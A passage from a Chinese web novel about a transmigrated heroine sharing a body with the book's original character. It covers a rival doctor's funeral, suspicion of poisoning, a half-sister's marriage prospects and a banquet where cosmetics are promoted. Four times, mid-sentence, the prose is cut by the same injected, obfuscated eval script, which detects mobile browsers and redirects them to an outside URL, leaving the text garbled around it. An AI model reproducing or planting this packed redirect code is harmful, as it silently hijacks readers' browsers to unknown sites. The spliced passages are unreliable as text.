沈望舒不解释,还反问她道:“你最近没发现吗?自打上个月开始,城中女子画完妆后都喜欢在眼下画一点泪痣,你以为是因为什么?” 她这样一说,沈妄姝才陡然发现,最近随着她出去时,确实见到许多眼下画泪痣的女子,而那泪痣画的位置,和当初沈望舒在生辰宴上给自己脸上点的那一颗几乎一模一样! 沈妄姝几乎都要尖叫出声了。 “人人嘴上都说恨你,”沈望舒慢悠悠地道,“但其实人人都想成为你。” 沈妄姝活了三辈子,向来只听过别人如何骂自己无知无礼,骂自己愚蠢不堪,骂自己挥霍败家,却从未听人这样评价过自己,一时间竟然有些语塞,心里还有些发痒,她却也不知到底为何会如此,只觉得眼眶一热,莫名地又想哭了。 另一边的沈望舒还在滔滔不绝地说:“虽然现在遭了雪灾,但今年过后都是太平年,等到陆晏时做了皇帝,又会迎来空前的经济大发展,到时候女人买化妆品、买衣服的支出也会大大增加,还怕没有你赚钱的时候吗?” 她越说越踌躇满志,信誓旦旦地道:“你且看着吧,我肯定给你做出一番事业来!” 沈妄姝看着她,突然说了句:“我还从未问过你,你在你们那个世界里是做什么的?” 她由衷地夸赞沈望舒道:“你好厉害呀,总觉得你什么都会,什么事情都难不倒你,活得既乐观又向上,我好羡慕。” “我不过就是个四处讨生活的孤儿罢了,”沈望舒也不避讳自己的出身,她问了,自己便老老实实地答,“从小就看人眼色,到处想办法打工赚学费,只要不犯法的工作我都能做,好不容易贷款读完了大学,才刚毕业就欠了一屁股助学贷款要还,有什么可羡慕的?” 她把眼妆画完了,又伸手去拿桌上的口脂,漫不经心地道:“我还羡慕你是个无忧无虑的大小姐呢,含着金汤匙出生,到哪儿都有人伺候着,就差把饭给你喂到嘴边了。” 沈望舒看着铜镜里头几乎化完妆的脸,有些自嘲似的笑了笑,道:“分明脸长得一样,名字也一样,过的日子却是一个天上一个地下,真有意思。” 沈妄姝却要一本正经地纠正她:“不是啊,我都死了两次了,你再怎么累,至少不用死啊。” “有一回是我替你死的!”沈望舒说起这个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12941801|131302||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就来气,“你还好意思说!” 她二人正在此处掰扯着,外头侍女突然来报:“大小姐,少爷在书房等您。” 沈望舒正好画完了妆、梳完了头,便起身往书房走去。 她作为济世堂的出资人,每隔一月都要沈星遥将医馆的账目与物资库存按要求做成表来叫自己查看,沈星遥自知这妹妹本事比他大得多,毫无异义地应下了这个要求,即便是因为时疫导致事务繁忙,也没耽搁他每月例行上报。 只是沈望舒没想到,陆晏时竟也与他一起来了。 他今日认真梳洗打扮过,穿一身清洗干净的玄青色长袄,头发以一支桃木簪束在脑后,一扫昨日的疲惫,瞧着异常的神采奕奕,沈望舒不知他是为了来见自己才这番打扮,还在心中与沈妄姝腹诽道:“他这一大早就起来打扮的这么好看去找你哥,果然不对劲。” 沈妄姝看看陆晏时,又看看沈望舒,嘀咕道:“我怎么觉得……不太对呢?” 沈望舒尚未答话,倒是沈星遥有些惊奇地开口问道:“今天是什么日子,还能叫你化起妆来?” “铺子新做的胭脂,送到我桌上,我便先试试,”她抬起眼来看沈星遥,笑盈盈地问他,“如何,好看吗?” 陆晏时却几乎要看呆了。 她原本就有绮丽容光,如今不过轻描一抹淡妆,就显得眉弯似月、目闪双星,唇似春海棠,温柔缱绻的好似要淌出水来,凛冽的寒风夹杂着她身上脂粉的香气,直勾勾地朝他面门上扑来,又叫他如何能够控制自己不去看、不去想? 他几乎能在顷刻间想到无数的词藻去夸赞沈望舒的美貌,甚至还要觉得古时那些文豪墨客不论写过多少诗句,都没有一句及得上沈望舒的万分之一,偏是沈星遥这个没心眼的,只大剌剌地说了句“我妹妹不论如何都是最好看的”便作了罢,不肯再夸她半句了。 沈望舒笑嘻嘻地应了他的话,这才去向陆晏时打招呼,道:“陆公子也来啦。” 陆晏时满腔的欢喜在喉头上下翻滚了几番,又被他生生咽回了肚子里,除了一声“见过沈姑娘”之外,竟也说不出第二句话来,就这么安安静静地坐在椅子上,好似一朵生在悬崖峭壁上的花,叫人难以攀折。 好在沈望舒并不觉得他这样有何不妥,又转过头去与沈星遥说话,陆晏时一言不发地看着沈望舒眉飞色舞的表情,看着她发间那一支梅花素金簪,看着她捏着账本的纤纤素手,十分认真地思考起了自己入赘沈家的可能。 以他的容貌与才学,以他的品行与口碑,若是想要入赘,沈老爷应断然没有拒绝的理由,只要……只要沈姑娘愿意点一点头,那他真是死也甘愿了。 陆晏时正想得出神,沈星遥的小厮突然敲了门进来,冲屋里人道:“少爷,小姐,方才医馆里的徐三来过,说隔壁的回春堂出事了。” 35.第三十五章 近些日子冷清了许久的回春堂在今日终于恢复了以往的热闹,只是这热闹来的却并非周迟所愿,竟是用他师傅的命换来的。 回春堂内被临时装点成了灵堂,正东倒西歪地挂着白布,有一口黑色的棺材横在厅里,像一头会吞噬生命的巨兽,正安静地蛰伏在来吊唁的人群之中。 柳半夏披着件白色的麻布衫,正跪在那棺椁前,低着头往陶土盆里一张一张地烧着纸钱,见沈望舒来了,当即站起身来,二话不说就扑进了她的怀里。 沈望舒早已知道那棺材里头躺的人是柳半夏的师傅蒋义山,可提前知晓剧情是一回事,看到别人在自己眼前伤心难过又是另一回事,如今她也不知道要如何开口安慰柳半夏,只好轻轻捋一捋她的背,哄小狗一样地哄她:“没事的,我在。” 其实在沈望舒看来,蒋义山对柳半夏算不得多好:柳半夏被亲生父母卖掉之后,这十来年的时间里一直被蒋老爷子当成半个丫鬟放在身边使唤,只是看着她确实有些天分,才教了她读书认字,教了她医术,可却远远比不得对周迟的倾囊相授,更不可能要她去继承自己的医馆了。 蒋义山一生未婚,周迟这个徒弟就成了他半个儿子,便是如何不如柳半夏争气,他却也摆脱不了重男轻女那一套,仍旧偏心周迟这个男丁,固执的要将自己的一切都留给这个徒弟,自然也包括柳半夏的卖身契。 可是对于柳半夏来说,蒋义山却是抚养自己长大、教授自己医术的恩师,若不是蒋老爷子将她买到医馆里,她早就已经饿死街头,又如何来的现在能吃饱穿暖的日子?且蒋义山虽严厉了些,却从未虐待过她,如今老爷子连句遗言都没来得及交代便撒手西去,柳半夏自然伤心,哭得连眼睛都要肿了。 沈星遥看她哭得伤心,当即有些手忙脚乱,是过来擦眼泪也不是、拍一拍她也不是,憋了小半日,才憋出一句:“好好的人怎么会突然没了?” 他一问,柳半夏顿时哭的更凶了:“说是进山里去采药,遇到了暴雨,人一个没站稳,就从上头滚下来了……” 沈望舒兄妹二人一人一句地安慰了她小半日,陆晏时只趁着空档说了句节哀,也不知自己该如何劝慰柳姑娘,干脆转过身去给蒋义山上香了,他眼看着前厅乱作一团,连与沈家兄妹不对付的周迟也在不断招呼前来吊唁的宾客,并没空来搭理他们,陆晏时也没事可做,更不能上手去把哭哭啼啼的柳半夏从沈望舒的怀里拉出来,只好自己一个人退到边上去候着了。 柳半夏哭了半晌才渐渐冷静下来,方才一团乱的脑子也总算找回一点神智,她颇为尴尬地从沈望舒的怀里爬出来,瞧见沈望舒那一身名贵的衣裳被自己捏的皱皱巴巴、粘了大片的泪痕,红着脸说道:“对不住,沈姑娘,我……” “不要紧的,”沈望舒递了个帕子给她,细声细语地问,“只是你往后要如何打算?” 柳半夏正是六神无主的时候,又哪里会想得到那么多?沈望舒问她,她自然是大脑一片空白,摇了摇头,直言自己还不知道。 沈望舒看了一眼正在不远处招呼来宾、穿着白色孝服的周迟,对柳半夏直言道:“待你师傅的葬礼办完之后,你便到我们济世堂来吧。” “我知晓老先生养育你十来年,你对此处感情颇深,只是你那师兄实在小肚鸡肠、品行不端,你留在回春堂只会耽误你自己的前程。” 柳半夏又如何不知晓?只是她如今卖身契还在她师傅手中,又岂能这样简单的说走就走?她还不知道自己日后要如何自处,不知道自己所谓的前程在哪里,更不想再麻烦沈望舒给她帮忙,只说自己会好好考虑,等她师傅下葬了再说吧。 沈望舒也不好再说什么,去给蒋义山上了炷香过后又和柳半夏说了几句话,却瞧见沈星遥不断地冲自己挤眉弄眼,一副巴不得她早些走的模样,沈望舒会了意,有些无奈地冲柳半夏说自己还有事要先走,留下沈星遥自己与柳半夏独处了。 她也不知为何,沈星遥这一世竟不再像之前一样缠着虞妙瑛不放,反而明晃晃地表现出对柳半夏的好感,沈望舒知道劝他不动,自然也不去管他,左右柳半夏也不会害他,只等着他自己碰壁就是了。 却不想她一走,原本在角落里的陆晏时竟也跟了上来,与她一前一后地上了马车。 沈望舒有些意外,还未来得及开口问他为何也来了,却听得陆晏时抢先开口道:“我方才趁人不备,去查看了回春堂的药柜,却见放断肠草的柜子里空空如也,连点药渣也不见。” “这药草毒性极强,寻常药方根本用不到,何以回春堂的断肠草竟然一根都不剩?” 沈望舒没想到他竟然趁乱偷偷去查看了回春堂的药柜,想来他也在怀疑昨日那些药里头的断肠草与周迟脱不开干系,沈望舒冷笑一声,道:“我就知道是他。” “前些日子来济世堂找我麻烦的那些人,八成也是他在背后捣鬼,毕竟他有欺负柳半夏的案底在前,故技重施也不无可能,”沈望舒想着想着,不无可惜地叹了口气,道,“只是这些证据都算不得什么,即便告到公堂上去,也没法给周迟定下什么罪来,真烦。” 陆晏时却道:“如今回春堂已经是强弩之末,只要再耐心等上一阵子,有的是机会让姑娘出这一口气的。” 沈望舒原本的打算也是将周迟逼至绝境,自然不急于一时的胜负,只是她听到陆晏时讲这样的话,却觉得十分意外,还要在心里跟沈望舒嘀咕道:“你哥哥是不是有点OOC了?” 原作里的陆晏时风光霁月、刚正不阿,怎么都不像是会跟着的反派女三在一起算计别人的模样,偏偏陆晏时讲这番话说得十分坦然,连说这话的时候都是副问心无愧的模样,倒是有几分好笑了。 沈望舒将周迟的事情放到一边,开口道:“总说周迟这晦气的人说什么,倒不如说一说柳姑娘叫我开心。” 陆晏时一听见她说柳半夏,顿时又蔫了下去,却又舍不得不与她说话,只闷闷问了句:“柳姑娘有什么好说的?” “你觉得柳姑娘不好吗?” 陆晏时低着头,不大情愿地回道:“没有。” “我也觉得柳姑娘很好,又漂亮人又善良,”沈望舒笑盈盈的,好像个在给人说亲的媒人,“你与她多相处相处,能结成至交好友也说不定。” 陆晏时却听出她的言外之意,心下一片酸楚,有几分负起地抬起头来对沈望舒道:“姑娘是觉得陆某这样卑微的身份,与柳姑娘正好相配。” 所以他不应该痴心妄想,去肖想高高在上的沈望舒,不应该对着这个身份悬殊的姑娘抱有半点幻想,是吗? 沈望舒哪里有这个意思?她又怎么可能觉得他们二人身份卑微? 她不过是有些心疼陆晏时罢了。 在与陆晏时相处的这段时间里,沈望舒发觉这少年人确实是个极正直的人,他少时囿于贫困,四处受人欺负,却依旧不屈不挠顽强生长的模样,让 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12976230|131302||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 沈望舒好似看见了从前在生活里挣扎的自己。 原书里写到,即便陆晏时后来找回了自己的皇子身份、成功夺嫡争夺到了皇位,也依旧要勾心斗角为政事所累,只有在柳半夏这个陪着他走过困苦、不离不弃的女主身边他才能够彻底放松下来做回自己,沈望舒有些心软,自然想要帮他一把,却不想陆晏时会误会至此,倒叫她觉得自己一片真心喂了狗,白心疼他了。 陆晏时话说出了口,当即又有些后悔,他看沈望舒皱着眉头不回话,立马又觉得慌乱了起来,赶忙开口道:“是陆某说错话了。” “我明知姑娘并非此意,却仍旧迁怒于姑娘,是我无礼无知,还望姑娘原谅。” 沈望舒尚未开口回话,马车却突然停了下来,接着便听得她的侍卫在外头说道:“小姐,前头有一贵女拦车,说是自家马车坏了,若是方便,想请咱们送她回府上。” 沈望舒这才撩开车窗的帘子向外看去。 这不看还好,一看,嘿,外头竟然站了个熟人。 只见沈望舒的马车跟前,正站着一行五六个人,为首的两名女子一瞧打扮就是非比寻常的贵妇人,一人年纪莫约四十上下,另一人瞧着与沈望舒差不多年纪,二人模样有七八分相似,只一瞧便知是母女。 那年纪轻的姑娘容貌姣好,娇滴滴地往那里一站,便颇为惹人怜爱,她瞧见沈望舒从马车里探出个头来看自己,当即勾起嘴角笑了笑,瞧着像朵初春里盛开的花似的,在灰扑扑的冬日里明晃晃地扎着人眼球。 沈望舒却想起了自己在皇宫里被灌下毒酒、生生疼死的那一日。 那时眼前的这个姑娘,也是用这样的眼神,用这样的笑容,高高在上地看着自己倒在血泊里,看着自己痛彻心扉,像狗一样在羊毛织就的地毯上打滚,叫沈望舒一看见她,就不自觉地想起那一日寒冰一样的空气、想起钻心剜骨的疼痛,想起血从喉头涌出来的苦楚,更让沈望舒藏在长袖下的手指再也控制不住,微微地发起抖来。 那姑娘不是旁人,正是本作的女二、爱陆晏时爱到发了疯、日后靠着亲爹的本事挤进后宫、在后宫中算计所有女人的虞妙瑛。 “我瞧着像什么爱做慈善的好心人吗?”沈望舒猛的一下放下帘子,大声道,“姑娘自己走回府去吧!” 说罢她便要车夫启程,当即便把那一行人甩到身后去了,陆晏时却有些奇怪——方才他从掀开的缝隙里往外看了一眼,大概看清了外头求助的姑娘长相,按照沈姑娘平日里怜惜美人的习惯,是会顺手帮那姑娘一把的才对,他方才都已经做好了准备,要起身给那一行人挪位置了。 沈望舒心情正不好,看见陆晏时一脸疑惑地看着自己,更是气不打一处来——若不是这个做皇帝的娶那么多老婆做妃子,自己用得着受那样的痛苦吗? 她在心里骂道:“娶那么多女人也不知道做什么,男人一个个都不是什么好东西!亏我还心疼他!心疼个头啊!俗话说得好,心疼男人就是女人倒霉的开始!” 陆晏时不知她心中所想,又想与她说些什么,下意识便多看了沈望舒一眼,沈望舒被她看得窝火,当即凶道:“看什么看!本姑娘就是见不得她那种又漂亮又比我会装可怜的女子,不行吗?!” 陆晏时却十分认真地点了点头,将沈望舒这话牢牢记在了心里。 他在心里打定主意,以后不论如何,一定要离这样的姑娘远一些,万万不要惹沈望舒的不快才是。 36.第三十六章 沈望舒带着火气回了自己的院子,才在书房的凳子上坐下,又瞥见沈星遥说的、已经整理好的未婚公子的资料,正明晃晃地躺在她那张紫檀木的书桌上。 左右她今日没有其他事情要处理,便将那份资料拿了过来,一页一页地仔细查看了一番,那册子里共有十二位未婚公子的资料,有几位是杜姨娘瞧上的,剩下的便是沈望舒与沈星遥一同选的,那册子里头将每个公子的生平、家世列得清清楚楚,连周遭亲友的评价都写了上去,整理的不可谓不用心,沈望舒甚至还和沈妄姝探讨了一番,问了她这些公子日后的生活如何。 沈妄姝重活了两世,虽然死的都早,但是至少也窥见过一些未来,对这些男子的品性也能做出些有参考性的评判,二人就这么聊了小半日,皆对这份名单十分满意。 她的书房里点着四时清味香,缈缈青烟自错金的香炉中缓缓升腾而起,厚重的檀香味里融着甘松的木质香气,叫人想起火炉里噼啪的柴火,温暖又舒缓的味道叫沈望舒心里那些怒火也尽数消弭了。 正巧此时她的侍女敲门进来,说杜姨娘和沈菀来了,现在正在屋里候着,沈望舒便拿着那一份资料,起身去了自己屋里。 沈望舒的屋里燃着金丝碳,点着和书房里一样的香薰,舒服的叫人昏昏欲睡,杜姨娘正和沈菀说着话,一瞧见沈望舒来了,赶忙起身来迎她,又把自己带来的食盒往沈望舒跟前一放,笑道:“这是我今日新做的红豆桂花糕,小姐你尝尝。” 她一边说,一边将那食盒打开,端出一叠做成荷花模样的点心来,轻手轻脚地摆在沈望舒的眼前。 沈望舒看了一眼那一碟点心,三个精巧的点心整整齐齐地垒在一个青瓷碟里,上头浇了薄薄一层桂花蜜,正反射着晶莹剔透的光,只往人跟前这么一放,桂花蜜香甜的味道便直勾勾地钻进人的鼻子里,勾的人食指大动,是连馋虫都要被引出来了。 但她却没动手去拿那点心,只笑了一笑,道:“姨娘突然跟我这么客气,我真的怪不习惯的,原来那样子挺好,没必要改的。” 她将那点心往桌子中间一推,面无表情地道:“有事说事就好,不必弄这些虚的来讨我欢心,我不是很喜欢这样。” 杜姨娘被她这样说了,面上却也不恼,还笑嘻嘻地回话道:“怎么能说是虚的?我是真心做来给小姐的吃、要与小姐交好的,并没有别的意思。” 沈望舒是真的不喜欢讲究这些弯弯绕绕,更不习惯曾经针锋相对的人突然摆出副笑脸来讨好自己——哪怕是对方如今成了自己的盟友,她也依旧觉得不习惯。 因而她十分干脆地将自己带来的那一本册子往桌上一放,道:“姨娘看上的、我们兄妹二人觉得不错的,都在这上头,你们尽可看看。” 这册子一给出去,杜姨娘和沈菀也就不再矜持,二人将那册子从桌上拿起来,也不避讳着沈望舒,当即凑到了一堆,一页一页地查看着上头的未婚公子,沈望舒这才拿起个素银的小叉子,扎着块桂花糕往自己嘴里送。 那桂花糕做的确实香甜软糯,甫一入口桂花香、米香、红豆香便混在一起在她的口腔里散开,吃得沈望舒心情大好,便多嘴了句:“我瞧着那陈员外的长子陈修竹就不错,后院里头干净,没有通房也没有小妾,家里更没什么糟心事,年龄只大妹妹三岁,模样长的周正,学问做的不错,人品也信得过,明年春闱也能得个好成绩,是个有前途的。” “且陈家有家训,四十无子才可纳妾,”沈望舒补了一句,“和妹妹正相配。” 沈菀却有些嫌弃地撇开眼去,她将那名册看完了,有些悻悻道:“怎么净是些小门小户的,没半个上得了台面。” 沈望舒却听笑了。 可她一口桂花糕还含在嘴里,多少有些吃人嘴软的意思,没拉下脸来直接嘲笑沈菀的蠢笨想法,还耐着性子向她解释道:“行商之人于这世道地位本就不高,你想要进高门大户里去,却最多只能做个妾室。” 她说罢又抬眼去看了一眼眉头紧锁的杜姨娘,试探一样地问:“姨娘已经在为人妾室了,难不成女儿也要给人做妾不成?” 沈望舒这话说的直戳人痛处,杜姨娘母女难得的沉默了下去,她却还要继续道:“那陈修竹虽没有什么济世之才,可将来得个一官半职也并非什么难事,你嫁过去了便是堂堂正正的正妻,待到出嫁时我再给你多添些嫁妆,你不是随随便便就将他拿捏了?” “不过三年五载,便能叫你熬成个富有的官家夫人,就这样轻轻松松地过一辈子,不比给别人做妾、在男人的后院里鸡飞狗跳来的实在?” 这一长串的话说罢了,沈望舒还不忘小声嘀咕一句:“再说了……性关系那么混乱的男的,谁知道他身上有没有什么脏病呢……哪儿有上赶着往上凑的道理。” 杜姨娘将这话听得明白,也知道沈望舒是说了掏心窝子的话、真心实意的在为自己的女儿挑选夫婿——她自己为妾数十载,其中的艰辛自然只有自己知晓,是断然不愿意教女儿再受这一遭苦的。 可沈菀却到底年轻气盛,对这样的安排十分不服气。 商人地位低下又如何?她爹沈向远又不是一般的商人,那可是天下第一的大富豪,是走路都能抖几钱金粉下来的大人物!沈菀再怎么说自己是个不得宠的庶女装可怜,却也知道自己过得是怎样锦衣玉食的好日子,自然不肯嫁去什么员外家里去受苦。 更何况她向来自恃容貌出挑,虽然比不得沈望舒那般倾城之姿,却也已经是个桃羞杏让的美人,眉眼之中还与沈望舒有三分相似,凭着这样的容貌,想要高嫁又如何 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12976554|131302||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会成了件难事?分明是沈望舒还在记恨自己,要在自己的婚事上从中作梗,见不得自己好罢了! 因而沈菀脱口便问:“你把那陈修竹说得那样好,那你自己为何不嫁?” “我倒是想,”沈望舒并不奇怪她会有此一问,慢悠悠地答了句,“只可惜人家前途无量,并不肯轻易入赘沈家呢。” 她这一句话噎的沈菀无话可说,好在杜姨娘还算拎得清楚,与沈望舒说了句“我带着菀菀再看一看,小姐莫要与她置气”之后,便带着沈菀离开了望月苑。 沈望舒看着碟子里剩下的两个桂花糕,顿时也没了什么胃口,将那一小碟糕点推到了别处去,不打算再吃了。 只是她还未来得及和沈妄姝说上一句什么,她的侍女便马上抱着两身衣裳进了屋来,低着头毕恭毕敬地道:“小姐,许管家正在外头等着见您。” 她说罢又将自己手里端着的衣裳递了上来,轻轻放在沈望舒身旁,道:“小姐吩咐过要改的衣裳,已经改好给您送回来了。” 沈望舒点了点头,也不急着去看那衣裳,又叫侍女去传管家进来,沈妄姝跟着她忙了一日,此时也不免有些看累了,长长地打了个哈欠,道:“你这一天天的,可真是够忙的。” 沈妄姝话音才落,蓄着胡子的许管家就已经推了沈望舒的房门进来了。 许管家前些日子被沈望舒吩咐做事时,还对她颇有微词,觉得这什么都不懂的大小姐异想天开整日胡闹,如今经历过雪灾一事之后,是对这位大小姐心服口服,连讲话的语气都比往日要敬重三分,才一走进屋里,就急忙向沈望舒行礼,之后才将手里那一张红帖子递到了沈望舒的桌上。 “小姐,这是赵知府发来的请帖,说是年三十晚上设宴,要为太常寺卿虞大人的妻女接风洗尘,”他低着头,恭谨地说道,“宴请了城中各位乡绅名流作陪,上午就将这帖子送来了。” 沈望舒笑了一声,接过那帖子,冲沈妄姝说:“哈,你说我这刚改好的衣裳,不就立马有了用武之地了吗?” 她这斗志昂扬的模样叫沈妄姝都意外了,开口问她:“你都不觉得累吗?” “累什么累,”沈望舒将管家打发走了,这才去翻看自己的衣裳,边看边回话道,“赚钱我从来不喊累。” 沈妄姝有些想笑,却又想起什么似的问她:“你不会要像对待杜姨娘和沈菀一样,想办法把虞妙瑛也变成自己人吧?” “怎么可能,想什么呢?”沈望舒只恨脑子里这个傻姑娘没个实体,好叫自己的手指能戳中她的脑袋,把她脑子里的水一口气全都给戳出来,“虞妙瑛那人,天生的见不得别人高她一头,雌竞意识深入骨髓,我这种从外貌到品格样样出挑的绝世美人,哪怕是去给她做狗她都不会满足,我才不要去招惹她。” 37.第三十七章 到了除夕这一日,积在城内那一层厚厚的冰雪终于全部消融了,露出地面原本的颜色来,中日关系盘踞在天上的乌云也渐渐散去,露出许久不见的蓝色天空,似乎正在向人预示着苦难即将被揭过、丰饶平静的日子即将到来似的。 便是寒冬尚未离去,人们对于新年的美好愿景却仍旧是在的,一提到过春节,人人都一扫连日的阴霾,变得喜气洋洋了起来,沈望舒出门的时候,街上已经四处张灯结彩、贴上了红色的春联与年画,红色的鞭炮纸铺在地上,瞧着热闹极了。 今日的宴席办在江南最大的酒楼醉仙楼里,那醉仙楼位于城南,由三栋木楼合院修建而成,前后各有一个庭院,其规模之大、装潢之华贵,可谓是举国罕见,只一壶酒都能卖到三钱银子,也只有在富人如云的江南才能这样长久地经营下去了。 赵知府定好了包厢,里头共摆了五桌、能坐下五十来个人,沈望舒与沈向远、沈星遥三人入场时,包厢里头已经来了一半以上的人,除了本地大小的官员之外,便是杭州有名的富豪与乡绅,多数都与沈家交好,因而沈望舒才一进去,就开始四处与这些人的妻女应酬了。 她今日穿一件蓝紫渐变色的儒裙,袖子裁得好似一对蝴蝶翅膀,上头以双色丝线绣着狭蝶戏花的图腾,花蕊上头点缀着不知名的宝石,一动起来便随着光折射出炫目的色彩,叫她瞧着轻巧灵动,却又贵气逼人,只一露面就叫人险些看呆了去。 且沈望舒今日在妆发上下足了功夫,脸上的每一处优点都借由妆容放大,叫她瞧着比生日宴那一日还要明艳动人,叫那些个贵妇人、小姐们瞧见了,都要忍不住一个个地来与她搭话。 “沈姑娘今日穿的衣裳,模样颜色都甚是新奇。” “这是哪一家的裁缝,竟有此等巧思,将衣裙裁成这幅模样?” “沈小姐的口脂颜色可真好看,我竟从未见过这样的口脂。” “是呀,也不知是在哪里买的?可说出来叫我们涨涨见识呀!” 这一字字一句句、七嘴八舌的话语,传进沈望舒的耳朵里,最终都汇成了一句话。 “姐妹,求个链接!” 即便遭了雪灾,但这些官员与富豪的日子却是几乎不受什么影响的,口袋里的钱依旧多的放不下,瞧见沈望舒身上的新奇东西自然也都心痒难耐了。 沈望舒今日目的就在于此,别人一问,她便全部和盘托出:“这衣裳都是我们店里的裁缝做的,几位夫人小姐要是喜欢,我随时差人上门,为你们裁制新衣。” “这口脂就更不是什么稀罕玩意了,是我自己和自家铺里的师傅们一起研制的新颜色,等着元宵节后上到铺里卖呢。” 她也不提别的,反而笑嘻嘻地冲在场的女眷们笑道:“大家既然觉得新鲜,我明日便差人给各家都送上一份试试,若是用着喜欢,日后便尽管开口问我拿就成。” 这话说得在场人心里满意极了,面上却还要跟她客气:“这哪儿成?怎有白拿你东西的道理?” 沈望舒却摆了摆手:“各位夫人小姐用着满意,我就高兴了,既然我高兴了,那你们又哪儿算是白拿呢?” 众人被她这一套一套哄得心花怒放,纷纷表示日后一定多去她店里光顾,更有甚者当场向她定下了裁缝上门的时间,并表示以后的衣裳都要去她那里定做,沈望舒面上堆着笑,那叫一个左右逢源,不到一刻钟便完成了今日来此的全部目的。 沈妄姝看得目瞪口呆:“……你好厉害啊。” “要带货就要拉的下脸、舍得给别人撒钱,”沈望舒说得口干舌燥,端起茶杯来抿了一口茶,这才又继续解释道,“我这个头部KOL已经完成了任务,送货给她们让她们做推广,还没铺上货我们的流量和广告就要拉满了,接下来就等着卖就完事了!” 沈妄姝对她心服口服,感叹道:“你这样能干,倒叫我觉得当初给你开的价格开低了……要不我给你加钱吧。” 沈望舒哪想到还有这样的意外之喜,当下两眼放光地应了,末了还不忘说上一句:“我要是能把你的恋爱脑也治了,也就算没白辛苦这一趟了。” “我、我比之前好多了呢!”沈妄姝梗着脖子为自己辩解,“我都能接受陆晏时喜欢我大哥了!” 沈望舒一口茶水险些从嘴里喷出来。 她还没来得及接话,赵知府便带着几个人浩浩荡荡地进了屋,沈望舒一看,一起跟着进来的除了他原本就要宴请的虞夫人和虞妙瑛母女,竟然还有陆晏时、柳半夏和梅停云三人,三人见了沈望舒,皆是眼前一亮。 他们三个算是此次灾情能顺利度过的功臣,会被知府宴请自然也正常,原本的剧情里也提到过这样一段,沈望舒自然不觉得意外,只是太常寺卿的妻女在此,倒也没人在乎那三个打扮平平的穷书生,纷纷起身去问候这京城来的高管家眷了。 虞妙瑛今日反而不似前几日偶然一见时穿的华贵,反而打扮得有些素净:她的头发梳了个单髻,于发髻间钗一支孔雀衔珠点翠步摇,便再无多余的装饰:身上的穿的也是十分简单的清荷碧波裙,用锦缎做的腰带掐出盈盈一握的腰身,显得她整个人清丽曼妙、幽蓝自芳,似出淤泥的荷花一般清高。 只是她这荷花在罗裙香露玉钗风的沈望舒跟前,就好似开在路旁的野花见了国色天香的牡丹,沦落成了无人相看的陪衬,只一眼就比出了高低,叫她特意做出的这副节俭轻减的模样成了笑话。 虞妙瑛没想到会在这里遇见这个前些天在路上给自己脸色看的姑娘,更想不到自己这样轻易地落了人下风,一时间心里气急了,面上却仍旧摆着副和气又大方的模样,浅笑着和众人问过了好,又轻盈地落了座,下意识地往陆晏时的方向看了一眼。 方才她于这位陆公子简单打过招呼,见这少年郎生的一副貌似潘安的好样貌,又似孤松独立般清冷高洁,叫虞妙瑛不自觉的就对他生出几分好感来。 却不想方才还一脸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12986818|131302||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 生人勿近、对自己说不出半句好话的陆晏时,竟眼巴巴地去那沈望舒跟前找她攀谈,虞妙瑛才见过沈望舒两次,却处处被她强压一头,叫在京城自小受捧的太常寺卿嫡女、赫赫有名的虞妙瑛从云端跌落进泥里,狼狈的叫她窝火。 随着众人落座,这场晚宴终于开始了。 赵知府为了给这母女二人接风,定下的菜色自然也都是醉仙楼的招牌,有葱烧鹿筋、一品鱼肚、金汤海参、翠盖鱼翅这样的山珍海味,又有杏仁酥酪、藕粉桂花糖糕这样的精致点心,精致错落地摆了满满一桌,却不想虞夫人看见这一桌的菜肴,竟然放下了筷子,长长地叹了一口气。 众人脸色皆是一变,赵知府赶忙堆笑着问她为何叹气,可是菜肴不和胃口,那虞夫人却摇了摇头,感叹道:“我只是想到如今外头的百姓还在受雪灾所困,我们却在这里寻欢作乐、享用珠翠之珍,心里不免觉得愧疚罢了。” 沈望舒听她说这话,险些翻出一个白眼来。 